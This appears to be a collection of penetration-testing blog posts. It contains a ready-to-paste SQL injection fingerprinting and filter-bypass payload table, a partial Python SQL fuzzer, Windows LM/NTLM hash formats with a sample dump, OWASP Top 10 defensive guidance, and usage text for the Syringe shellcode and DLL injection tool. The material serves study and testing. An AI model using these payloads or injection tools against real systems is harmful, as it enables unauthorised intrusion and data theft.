Database Finger Printing

SQL Fuzzing

This article is created to introduce an SQL query injection reference, meanning strings that can be used without any modification (a simple copy paste) in web application SQL fuzzers to perform balck box SQL fuzzing (no assumption made about back end database). In the following table M means MSSQL, O means Oracle, P means Postgre and My means MySQL.

SQL Injection Strings For Fingerprinting
'SELECT @@version --	M	Note: This injection query works with any instance of SQL Server 2000 or of a later version.
' UNION SELECT @@version,NULL,NULL--	M	Note: This injection query can be used to identify amount of table columns, data types and database version.
'SELECT SERVERPROPERTY('productversion'), SERVERPROPERTY ('productlevel'), SERVERPROPERTY ('edition') --	M	Note: This query works with any instance of SQL Server 2000 or of a later version. The following results are returned: The product version (for example, 10.0.1600.22) The product level (for example, RTM) The edition (for example, Enterprise)
'1 in (SELECT @@version) --	M	Note: This query works with by trying to generate encapsulated casting errors.
'1 in (CHAR(83) + CHAR(69) + CHAR(76) + CHAR(69) + CHAR(67) + CHAR(84) + CHAR(32) + CHAR(64) + CHAR(64) + CHAR(118) + CHAR(101) + CHAR(114) + CHAR(115) + CHAR(105) + CHAR(111) + CHAR(110)) --	M	Note: This query is using obfuscation technices to by pass SQL filters and is not going to work in most cases.
'SELECT/*Place what ever you want*/ @@version --	M	Note:This is good for by passing filters in bad SQL filters.
' 1 in (SELECT/*Place what ever you want*/ @@version) --	M	Note: Again this is good for by passing filters in bad SQL filters.
' or @@PACK_RECEIVED-@@PACK_RECEIVED --	M	Note:The @@PACK_RECEIVED databse system variable is used to display a report containing several SQL Server statistics, including packets sent and received. Used in the injection point with numerical values.
Injectable'+'Variable --	M	Note:Usage of string concatenation used by MSSQL database
'SELECT version FROM v$instance;	O	Note:You can capture the edition, version and release (32 bit or 64-bit)
'SELECT banner FROM v$version WHERE banner LIKE ‘TNS%’;	O	Note:You can capture the edition, version and release in both 32 bit or 64-bit versions
'SELECT banner FROM v$version WHERE banner LIKE ‘Oracle%’;	O	Note:You can capture the edition, version and release in both 32 bit or 64-bit versions.SELECT statements must have a FROM clause in Oracle
'Injection'||'variable' --	O	Note:Usage of string concatenation used by Oracle database. When injecting the vulnerable variable the web application should behave normaly.
SELECT banner FROM v$version WHERE banner LIKE "Oracle Database%";	O	Note:You can capture the edition, version and release in both 32 bit or 64-bit versions.SELECT statements must have a FROM clause in Oracle.
SELECT @@version #	My	Note: Again a version injection query
'Injection' 'variable' #	My	Note: Again a verion injection query (notice the space of the string).
'SELECT /*!32302 12*/ #	My	Note: This injection string is used for string values (char variables) and should return the number 12. You will get the same response if MySQL version is higher than 3.23.02 .
or /*!32302 12*/ = /*!32302 12*/	My	Note: This injection string is used for numerical values and is equal to or 1=1 in MSSQL. You will get the same response if MySQL version is higher than 3.23.02 .
' or /*!32302 12*/ = /*!32302 12*/ #	My	Note: This injection string is used for numerical values and is equal to or ' or 1=1 -- in MSSQL. You will get the same response if MySQL version is higher than 3.23.02 .
SELECT /*What ever you want to inject*/@@version#	My	Note:Again used to by passing SQL data filters.
CONNECTION_ID()-CONNECTION_ID()#	My	Note:Again for versioning database in numerical injections.
' SELECT /*!32302 1/0, */ 1/1 FROM existingtablename #	My	Note:Will throw an divison by 0 error if MySQL version is higher than 3.23.02.
' SELECT /*!32302 1/1, */ 1/0 FROM existingtablename #	My	Note:Will throw an divison by 0 error if MySQL version is lower than 3.23.02.
SELECT version()-	P	Note:Check the comment character.

The SQL Fuzzing Injection Approach

Prologue


This is not another boring SQL injection cheat sheet, since already a lot of this cheat sheets already exist in the Internet (e.g. pentestmonkey e.t.c). This article is about categorizing and formalizing the procedure of SQL injection fuzzing step by step. So SQL Injection issues should be categorized in three different types:

1. Error Based SQL injections (no input validation or output database error filtering).

2. Semi Error Based SQL injections (minor or no input validation but some output database error filtering).

3. Blind SQL injections (strict both input and output filtering).

The first category is probably the most obvious since it is the most easy to identify, plus what ever you inject (even a single quote) is going to return back a database SQL error. The second type of SQL injection is the semi blind SQL injection where the developers either don't filter the input properly (but do filter) or they don't filter at all BUT do filter some of the database SQL errors returned back, thinking that is very hard to exploit the SQL injection if they do that. The third part type is the Blind SQL injection, where some filtering in the input validation may occur but all database SQL errors are filtered. This article is going to analyze the first type of SQL injection type.



Identifying Error Based SQL Injections by fuzzing



In this article we are going to refer to all possible characters used to identify an Error Based SQL injection. The following characters can be used to identify an SQL injection:

First Character	'
Second Character	;
Third Character	-
Forth Character	#
Fifth Character	)
Sixth Character	*
Seventh Character	Space Character

Now with this amount of characters we can have 2 in the power of 6 combinations, meaning we have 64 combinations, of course not all character combinations are going to be a meaningful character sequences to the SQL databases, but most of them are going to be, plus with that approach the concept of BLACK box testing is applied better (e.g. you assume nothing about the input filtering or the database back end). Writing a program that takes as an input this 6 characters and produces all combinations is would be very useful, A payload SQL injection generator is like the ammunition for the SQL fuzzer. Basically my concept about

A sample list of all character sequences that will be produced and have meaning to a database would be:

Interesting character sequence list

'); -- ,  ; --  ,  ' --  ,  /**/ ,   ; #   ,  ); --     ...  e.t.c

A more interesting fuzzing approach would be to increase you payload list by either increasing the fuzzing list using a bigger payload list such as fuzzdb or by using your own payload list generated by your payload generator. The critical issue here is to optimize your payload list, either for identifying or of exploiting SQL injections and then use the proper tool to analyze the results. Analyzing the results is also critical, the best way to do something like that would be to use a fuzzer such as Burp Intruder or JBroFuzz. Now when analyzing the results you should most of the time focus on the Http Error returned and the response size. Successfully exploiting the an SQL injection would increase or reduce significantly the size for the response, depending always on the situation.

JBroFuzz and Burp Intruder have a very good user interface that gives you a quick Http Error Code status and response size view. The following picture shows a screen shot from JBroFuzz.

Exploiting Error Based SQL Injections



The fuzzing approach can be used for successfully exploiting Error Based SQL injections (but also Semi Error SQL injections, but this is out of scope of this article) with very good efficiency. The only thing someone should do to increase the efficiency would be to optimize the payload list for exploiting a particular database e.g. MSSQL, Oracle e.t.c and besides checking the Http Satus Codes and the response size to also do some grep-ing the results using another list (for the purposes of this article I am going to refer to the list as a result list). The result list should be processed by tools such as the Burp Grep Utility or costume utilities you might decide to create in order to identify proper errors (e.g. you should have an SQL error list e.t.c).      


Writing a fuzzer is easy


Someone might want to use her/his own fuzzer, and this article is a good place to start.

First part would be to put the author version (I now I am making too formal) and copyright restrictions:   

#!/usr/bin/env python __version__ = "1.0" __author__ = "Gerasimos Kassaras" __copyright__ = "None"

 Second part would be to import the proper libraries:

# -*- coding: iso-8859-15 -*- import httplib import os import sys import time import time import re import string

Third part would be to wright the load list function (in order to load the payload list) which is omitted (it is too simple) and forth part would be to write the fuzz loop:

def fetchHtml(hostToFuzz,variableToFuzz,payload): # Make use of httplib   httpHeader = httplib.HTTP(hostToFuzz)   httpHeader.putrequest('GET',variableToFuzz+payload) # Form the Http header   httpHeader.putheader('Host',hostToFuzz)   httpHeader.putheader('User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.0; el; rv:1.9.0.4)   Gecko/2008102920 Firefox/3.0.4')   httpHeader.putheader('Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8')   httpHeader.putheader('Accept-Language: el-gr,el;q=0.7,en-us.;q=0.3')   httpHeader.putheader('Accept-Encoding: gzip,deflate')   httpHeader.putheader('Accept-Charset: ISO-8859-7,utf-8;q=0.7,*;q=0.7')   httpHeader.endheaders() # Handling Http return codes…   returncode = httpHeader.getreply() # Process http reply data!   fileObject = httpHeader.getfile()   rawHtml = fileObject.readlines() # Get raw HTML # Return rawHtml return rawHtml

The fifth part would be to write a piece of code to process the result list. In python we can do that by using regular expressions. Now the important part is that the regular expression should be used like the grep functionality Burp Intruder is using to extract the important parts of the result list. The result list can be populated by books such as Web Application Hackers Hand Book e.t.c.   

def fetchInfectedHtml(rawHtml,payloadList): infectedHtml = [] for counter in range(len(SQLErrorList)): # Compile regular expression with the payload   regularExpression = re.compile( SQLErrorList[counter]) # Inner loop for searching fetched html   for counter1 in range(len(rawHtml)):         if regularExpression.search(rawHtml[counter1]):# Search for all errors in SQL Error List per reply             infectedHtml.append(rawHtml[counter1]) return infectedHtml

Windows Password?

Windows password world 

Long time ago I was doing a penetration test and I started wondering what is the windows password format and how is it stored? And after some research I came up with the proper information I was so viciously looking for....

Windows Lan Manager (LM) and NT LAN Manager (NTLM) Passwords 

The LM hash is the old style hash used in Microsoft OS before NT 3.1 ; NT 3.1 to XP SP2 supports LM hashes for backward compatibility and is enabled by default. Vista and Seven support LM hash but is disabled by default. NTLM was introduced in NT 3.1, and supports password lengths greater than 14.

If LM hashes are enabled on your system (Win XP and lower), a hash dump will look like:

Administrator:500:01FC5A6BE7BC6929AAD3B435B51404EE:0CB6948805F797BF2A82807973B89537:::
If LM hashes are disabled on your system (Win Vista, 7+), a hash dump will look like:

Administrator:500:NO PASSWORD***********:0CB6948805F797BF2A82807973B89537:::

The first field is the username. The second field is the unique Security IDentifier for that username. The third field is the LM hash and the forth is the NTLM hash.  

How LM hash is computed

   1. The user’s ASCII password is converted to uppercase.

   2. This password is null-padded to 14 bytes.

   3. The “fixed-length” password is split into two seven-byte halves.

   4. These values are used to create two DES keys, one from each 7-byte half, by converting the seven bytes into a bit stream, and inserting a null bit after every seven bits (so 1010100 becomes 01010100). This generates the 64 bits needed for a DES key. (A DES key ostensibly consists of 64 bits; however, only 56 of these are actually used by the algorithm. The null bits added in this step are later discarded.)

   5. Each of the two keys is used to DES-encrypt the constant ASCII string “KGS!@#$%”, resulting in two 8-byte ciphertext values. The DES CipherMode should be set to ECB, and PaddingMode should be set to NONE.

   6. These two ciphertext values are concatenated to form a 16-byte value, which is the LM hash.

XP Cached Credentials

The username is appended to the NTLM hash of the password and then that value is hashed using 

MD4 : MD4(username + MD4(password).

Note: Notice that no salt is used for the cached xp passwords, which means that same user-name password pairs have the same password cache dump!!

Vista/Seven Cached Credentials

Uses same process to create the cached credential that XP uses, except it applies PBKDF2 as well. PBKDF2 takes the SHA1 cryptographic hash function and applies it to the XP cached credential salting it with the lower case username, repeating this for the specified number of iterations (1024).

PBKDF2 (Password-Based Key Derivation Function) is a key derivation function that is part of RSA Laboratories' Public-Key Cryptography Standards (PKCS) series, specifically PKCS #5 v2.0, also published as Internet Engineering Task Force's RFC 2898. It replaces an earlier standard, PBKDF1, which could only produce derived keys up to 160 bits long.

PBKDF2 applies a pseudorandom function, such as a cryptographic hash, cipher, or HMAC to the input password or passphrase along with a salt value and repeats the process many times to produce a derived key, which can then be used as a cryptographic key in subsequent operations. The added computational work makes password cracking much more difficult, and is known as key stretching. When the standard was written in 2000, the recommended minimum number of iterations was 1000, but the parameter is intended to be increased over time as CPU speeds increase. Having a salt added to the password reduces the ability to use a precomputed dictionary to attack a password (such as rainbow tables) and means that multiple passwords have to be tested individually, not all at once. The standard recommends a salt length of at least 64 bits.

About NTLM 

NTLM is widely deployed, but it remains vulnerable to a credentials forwarding attack, which is a variant on the reflection attack which was addressed by Microsoft security update MS08-068. Both attacks were discovered by Dominique Brezinski in 1997. For example, Metasploit can be used in many cases to obtain credentials from one machine which can be used to gain control of another machine. The Squirtle toolkit can be used to leverage web site cross-site scripting attacks into attacks on nearby assets via NTLM.

In February 2010, Amplia Security discovered several flaws in the Windows implementation of the NTLM authentication mechanism which completely broke the security of the protocol allowing attackers to gain read/write access to files and remote code execution. One of the attacks presented included the ability to predict pseudo-random numbers/challenges/nonces generated by the protocol. These flaws had been present in all versions of Windows for 17 years. The security advisory explaining the issues found included different fully working proof-of-concept exploits. All flaws were fixed by MS10-012.

References:

http://www.onlinehashcrack.com/how_to_crack_lsa_cached_credentials.php

http://www.onlinehashcrack.com/how_to_crack_lsa_cached_credentials.php

http://en.wikipedia.org/wiki/PBKDF2

http://en.wikipedia.org/wiki/NTLM

http://en.wikipedia.org/wiki/LM_hash

OWASP top 10 Common Vulnerabilities....What? (Part 2)

This article is the second part of OWASP top 10 Common vulnerabilities...

HTTP Header Injection



Vulnerability Description: 

This post is the second part of the series OWASP what? and focuses explaining how OWASP categorizes vulnerabilities. So HTTP header injection is a general class of web application security vulnerability which occurs when Hypertext Transfer Protocol (HTTP) headers are dynamically generated based on user input. Header injection in HTTP responses can allow for HTTP response splitting, Session fixation via the Set-Cookie header, cross-site scripting (XSS), and malicious redirects attacks via the location header. HTTP header injection is a relatively new area for web-based attacks, and has primarily been pioneered by Amit Klein in his work on request/response smuggling/splitting. During the web application penetration test, we managed to successfully inject HTTP headers on to the server’s responses.

Impact:

Various kinds of attack can be delivered via HTTP header injection vulnerabilities. Any attack that can be delivered via cross-site scripting can usually be delivered via header injection, because the attacker can construct a request which causes arbitrary JavaScript to appear within the response body. Further, it is sometimes possible to leverage header injection vulnerabilities to poison the cache of any proxy server via which users access the application. Here, an attacker sends a crafted request which results in a "split" response containing arbitrary content. If the proxy server can be manipulated to associate the injected response with another URL used within the application, then the attacker can perform a "stored" attack against this URL which will compromise other users who request that URL in future.

Recommendations:

Investigate all uses of HTTP headers, such as

1. Setting cookies
2. Using location (or redirect() functions)
3. Setting mime-types, content-type, file size, etc.
4. Setting custom headers

If these contain Unvalidated user input, the application is vulnerable when used with application frameworks that cannot detect this issue. If the application has to use user-supplied input in HTTP headers, it should check for double “\n” or “\r\n” values in the input data and eliminate it (along with all it mutation, e.g. encoded return characters).

Many application servers and frameworks have basic protection against HTTP response splitting, but it is not adequate to task, and you should not allow Unvalidated user input in HTTP headers.
If possible, applications should avoid copying user-controllable data into HTTP response headers. If this is unavoidable, then the data should be strictly validated to prevent header injection attacks. In most situations, it will be appropriate to allow only short alphanumeric strings to be copied into headers, and any other input should be rejected. At a minimum, input containing any characters with ASCII codes less than 0x20 should be rejected.


References:

1. https://www.owasp.org/index.php/Interpreter_Injection 
2. http://en.wikipedia.org/wiki/HTTP_header_injection
3. http://blogs.msdn.com/b/esiu/archive/2007/09/22/http-header-injection-vulnerabilities.aspx

Invalidated Redirects and Forwards

Vulnerability Description:

A web application takes a parameter and redirects a user to the parameter value, such a Web site, without validation. Attackers exploit this vulnerability with phishing e-mails that cause users to visit malicious sites inadvertently.

Impact: 

Invalidated redirects and forwards vulnerabilities arise when an application incorporates user-controllable data into the target of a redirection in an unsafe way. This behaviour can be leveraged to facilitate phishing attacks against users of the application. The ability to use an authentic application URL, targeting the correct domain with a valid SSL certificate (if SSL is used) lends credibility to the phishing attack because many users, even if they verify these features, will not notice the subsequent redirection to a different domain.

Recommendations:

Investigate all uses of HTTP headers, such as

1. Setting cookies

2. Using location (or redirect() functions)

3. Setting mime-types, content-type, file size, etc.

4. Setting custom headers

If these contain Unvalidated user input, the application is vulnerable when used with application frameworks that cannot detect this issue.

If the application has to use user-supplied input in HTTP headers, it should check for double “\n” or “\r\n” values in the input data and eliminate it (along with all it mutation, e.g. encoded return characters).

Many application servers and frameworks have basic protection against HTTP response splitting, but it is not adequate to task, and you should not allow Unvalidated user input in HTTP headers.

If possible, applications should avoid copying user-controllable data into HTTP response headers. If this is unavoidable, then the data should be strictly validated to prevent header injection attacks. In most situations, it will be appropriate to allow only short alphanumeric strings to be copied into headers, and any other input should be rejected. At a minimum, input containing any characters with ASCII codes less than 0x20 should be rejected.

References:

1. https://www.owasp.org/index.php/Interpreter_Injection 
2. http://en.wikipedia.org/wiki/HTTP_header_injection 
3. http://blogs.msdn.com/b/esiu/archive/2007/09/22/http-header-injection-vulnerabilities.aspx

OWASP top 10 Common Vulnerabilities....What? (Part 1)

For a long time now...

For a long time now there is a confusion about the common web application vulnerabilities and their countermeasures. This is post is going to clear out the meaning of some of the OWASP top 10 web app vulnerability categorization and provide you with countermeasures (it is going to be a long post).

The OWASP top 10 describes the most common web application vulnerabilities based on the risk, In order to clarify what Risk is and how is perceived from OWASP I am going to give you the definition of risk, so risk is:

"Risk is the potential that a chosen action or activity (including the choice of inaction) will lead to a loss (an undesirable outcome). The notion implies that a choice having an influence on the outcome exists (or existed). Potential losses themselves may also be called "risks". Almost any human endeavor carries some risk, but some are much more risky than others." [1]


The maths of risk is:

Risk = (probability of accident occurring) x (expected loss in case of accident)

Where accident is for example the SQL or LDAP injection and expected loss is more or less the impact. Now OWASP top 10 categorizes is injections as number one vulnerability because the impact of the injection is by far greater than the XSS impact.

e.g.  

SQL Injection Risk =  (low probability of accident occurring) x (expected high loss in case of accident)

XSS Risk =  (high probability of accident occurring) x (expected low loss in case of accident)


An example would be that of an SQL injection that results to loss of confidentiality and an XSS that results to user identity theft. The XSS vulnerability is occurring more often than SQL injection but the impact of the SQL injection is bigger.

Back to OWASP top 10


So the follwoing list represent the OWASP top 10:

1. Injection (e.g. SQL, XML, LDAP injection)
2. Cross Site Scripting (XSS) 
3. Broken Authentication (e.g. bad session life-cycle )
4. Insecure Direct Object Reference (e.g. access functionality with higher privilages)
5. Cross-Site Request Forgery (CSRF)
6. Security Misconfiguration (e.g. default admin panel password)
7. Insecure cryptographic storage (e.g. usage of deprecated cryptographic algorithms)
8. Failure to restrict URL access (e.g. broken access control)
9. Un-Sufficient Transportation Layer Protection
10. Unvalidated direct forwards and redirects (e.g. URL injection) 

So here is the analysis if each vulnerability:

Injection  (SQL Injection)

Impact:

Various attacks can be delivered via SQL injection, including reading or modifying critical application data, interfering with application logic, escalating privileges within the database and executing operating system commands.
An adversary can compromise the integrity, confidentiality and avaliability of the Web server. Also as a side effect costumer reputation can also be achived. An SQL injection attack consists of insertion or "injection" of a SQL query via the input data from the client to the application. The SQL injection exploit prodiced can read sensitive data from the database, modify database data (Insert/Update/Delete), execute administration operations on the database (such as execute stored procedures in the MSSql Server), recover the content of a given file present on the DBMS file system and in some cases issue commands to the operating system. SQL injection attacks are a type of injection attack, in which SQL commands are injected into data-plane input in order to effect the execution of predefined SQL commands.

Counter measures (for .NET): 

Make use of parameterized queries. Parameterized queries force the developer to first define all the SQL code, and then pass in each parameter to the query later. This coding style allows the database to distinguish between code and data, regardless of what user input is supplied.

Prepared statements ensure that an attacker is not able to change the intent of a query, even if SQL commands are inserted by an attacker. In the safe example below, if an attacker were to enter the userID of tom' or '1'='1, the parameterized query would not be vulnerable and would instead look for a username which literally matched the entire string tom' or '1'='1.

Primary Defenses:

1. Use of Prepared Statements (Parameterized Queries)
2. Use of Stored Procedures
3. Escape all User Supplied Input

Additional Defenses:

1. Also Enforce: Least Privilege (already applied).
2. Also Perform: White List Input Validation.
3. Also Disable: All unecesarry build in stored procedures.
4. Also Remove: Execution rights from SQL (already applied but nat in all stored procedures).
5. .NET specific recommendations:
6. .NET – use parameterized queries like SqlCommand() or OleDbCommand() with bind variables

In rare circumstances, prepared statements can harm performance. When confronted with this situation, it is best to escape all user supplied input using an escaping routine specific to your database vendor as is described below, rather than using a prepared statement. Another option which might solve your performance issue is used a stored procedure instead.

Safe Coding with C# .NET Prepared Statement Example:

String query = "SELECT account_balance FROM user_data WHERE user_name = ?";

try {

OleDbCommand command = new OleDbCommand(query, connection);

command.Parameters.Add(new OleDbParameter("customerName", CustomerName Name.Text));

OleDbDataReader reader = command.ExecuteReader();

// …

} catch (OleDbException se) {

// error handling

} 

Note:You should be aware that some commonly employed and recommended mitigations for SQL injection vulnerabilities are not always effective:

1. One common defense is to double up any single quotation marks appearing within user input before incorporating that input into a SQL query. This defense is designed to prevent malformed data from terminating the string in which it is inserted. However, if the data being incorporated into queries is numeric, then the defense may fail, because numeric data may not be encapsulated within quotes, in which case only a space is required to break out of the data context and interfere with the query. Further, in second-order SQL injection attacks, data that has been safely escaped when initially inserted into the database is subsequently read from the database and then passed back to it again. Quotation marks that have been doubled up initially will return to their original form when the data is reused, allowing the defense to be bypassed.
2. Another often cited defense is to use stored procedures for database access. While stored procedures can provide security benefits, they are not guaranteed to prevent SQL injection attacks. The same kinds of vulnerabilities that arise within standard dynamic SQL queries can arise if any SQL is dynamically constructed within stored procedures. Further, even if the procedure is sound, SQL injection can arise if the procedure is invoked in an unsafe manner using user-controllable data.

Injection (Blind SQL Injection)



Impact:

Blind SQL Injection is used when a web application is vulnerable to an SQL injection but the results of the injection are not visible to the attacker. The page with the vulnerability may not be one that displays data but will display differently depending on the results of a logical statement injected into the legitimate SQL statement called for that page. This type of attack can become time-intensive because a new statement must be crafted for each bit recovered. There are several tools that can automate these attacks once the location of the vulnerability and the target information has been established.

In the first url the Referer HTTP header might be vulnerable to SQL injection attacks. A single quote was submitted in the Referer HTTP header, and a general error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether vulnerability is present.

In the second url the password parameter appears to be vulnerable to SQL injection attacks. The payload 'waitfor%20delay'0%3a0%3a20'-- was submitted in the password parameter. The application took 20029 milliseconds to respond to the request, compared with 27 milliseconds for the original request, indicating that the injected SQL command caused a time delay.

Counter Measures: 



*** Same as SQL Injection ***



XSS 

Impact:

Cross-site scripting (XSS) allows malicious client-side script to be inserted into a response page returned by the application and that way make user traffic redirects or session hijacks and perform phi-sing scums or more simplistically speaking perform user impersonation or identity theft (the last one sounds more British e?).   

Counter Measures: 

Here is a list of the thinks that should be made:

1. Make sure all un-trusted data (meaning all possible injection points) are properly sanitized, the following recommendations should be taken into consideration:
2. Never Insert Untrusted Data Except in Allowed Locations
3. HTML Escape Before Inserting Untrusted Data into HTML Element Content
4. Attribute Escape Before Inserting Untrusted Data into HTML Common Attributes
5. JavaScript Escape Before Inserting Untrusted Data into JavaScript Data Values
6. CSS Escape And Strictly Validate Before Inserting Untrusted Data into HTML Style Property Values
7. URL Escape Before Inserting Untrusted Data into HTML URL Parameter Values
8. Use an HTML Policy engine to validate or clean user-driven HTML in an outbound way

Based on OWASP recommendation it best to use an HTML Policy engine to validate or clean user-driven HTML in an outbound way (for more information check out the references).

OWASP AntiSamy sample code

import org.owasp.validator.html.*;

Policy policy = Policy.getInstance(POLICY_FILE_LOCATION);

AntiSamy as = new AntiSamy();

CleanResults cr = as.scan(dirtyInput, policy);

MyUserDAO.storeUserProfile(cr.getCleanHTML()); // some custom function

OWASP Java HTML Sanitizer sample code:

import org.owasp.html.Sanitizers;

import org.owasp.html.PolicyFactory;

PolicyFactory sanitizer = Sanitizers.FORMATTING.and(Sanitizers.BLOCKS);

String cleanResults = sanitizer.sanitize("<p>Hello, <b>World!</b>");

References:

1. https://www.owasp.org/index.php/XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet
2. http://code.google.com/p/owasp-esapi-java/source/browse/trunk/src/main/java/org/owasp/esapi/codecs/PercentCodec.java
3. http://owasp-java-html-sanitizer.googlecode.com/svn/trunk/distrib/javadoc/org/owasp/html/Sanitizers.html
4. Published ibrowser plugin XSS vulnerability: http://secunia.com/advisories/41634
5. http://en.wikipedia.org/wiki/Risk (Wiki)

Compiling and Running Burp Extensions

Pre-requisite: You need to have JDK and Burp installed on your system.
Create a working directory called “burp_extension” and create the source file “BurpExtender.java” in the same directory. Here, in this example, the source file would contain both the above classes.

Create a directory called “burp” inside the directory “burp_extension” and copy the interface source code files i.e., IBurpExtenderCallbacks, IMenuItemHandler ,etc., provided by Burp. Your extension will look for these files in that path.

Also, make sure your “BurpExtender.java” file has this line to import burp package :-
Import burp.*;

Now, compile the BurpExtender.java file using javac and create a jar file out of both the class files generated by compilation.

D:\burp_extension>”C:\Program Files\Java\jdk1.6.0_29\bin\javac.exe” BurpExtender.java
D:\burp_extension>”C:\Program Files\Java\jdk1.6.0_29\bin\jar.exe” -cf burpextender.jar BurpExtender.class extendedMenuItem.class

Now, burpextender.jar has been generated in your working directory. Copy the burpsuite jar file into the same working directory and run it using this command:-

D:\burp_extension>java -Xmx512m -classpath burpextender.jar;burpsuite_pro_v1.4.04.jar burp.StartBurp

Injecting Shellcodes into processes....

Sometime ago, many security focused sites and mailing lists were abuzz with the release of a new tool called ShellCodeExec that has the ability to execute alpha numerically created shellcode (as commonly generated with the Metasploit Framework) the link to the tool can be found here.

Can be compiled and works on POSIX (Linux/Unices) and Windows systems.

Can be compiled and works on 32-bit and 64-bit architectures.

Works in DEP/NX-enabled environments: it allocates the memory page where it stores the shellcode as +rwx - Readable Writable and eXecutable.

It supports alphanumeric encoded payloads: you can pipe your binary-encoded shellcode (generated for instance with Metasploit's msfpayload) to Metasploit's msfencode to encode it with the alpha_mixed encoder.

Set the BufferRegister variable to EAX registry where the address in memory of the shellcode will be stored, to avoid get_pc() binary stub to be prepended to the shellcode.

Spawns a new thread where the shellcode is executed in a structure exception handler (SEH) so that if you wrap shellcodeexec into your own executable, it avoids the whole process to crash in case of unexpected behaviours.

After a search about that tool I found out also about another tool called  Syringe that seemed to work smoother!! with more options,  the link to the tool can be found here. Further reading to a cool blog found here, I found out about the  Syringe options and how to use them.....

Have a look:

C:\Documents and Settings\User\Desktop>syringe.exe
Syringe v1.2
A General Purpose DLL & Code Injection Utility

Usage:

Inject DLL:
syringe.exe -1 [ dll ] [ pid ]

Inject Shellcode:
syringe.exe -2 [ shellcode ] [ pid ]

Execute Shellcode:
syringe.exe -3 [ shellcode ]

And after an extensive research in the internet I found some interesting link about downloading ShellCodes with interesting features which you can find here. Have fun.............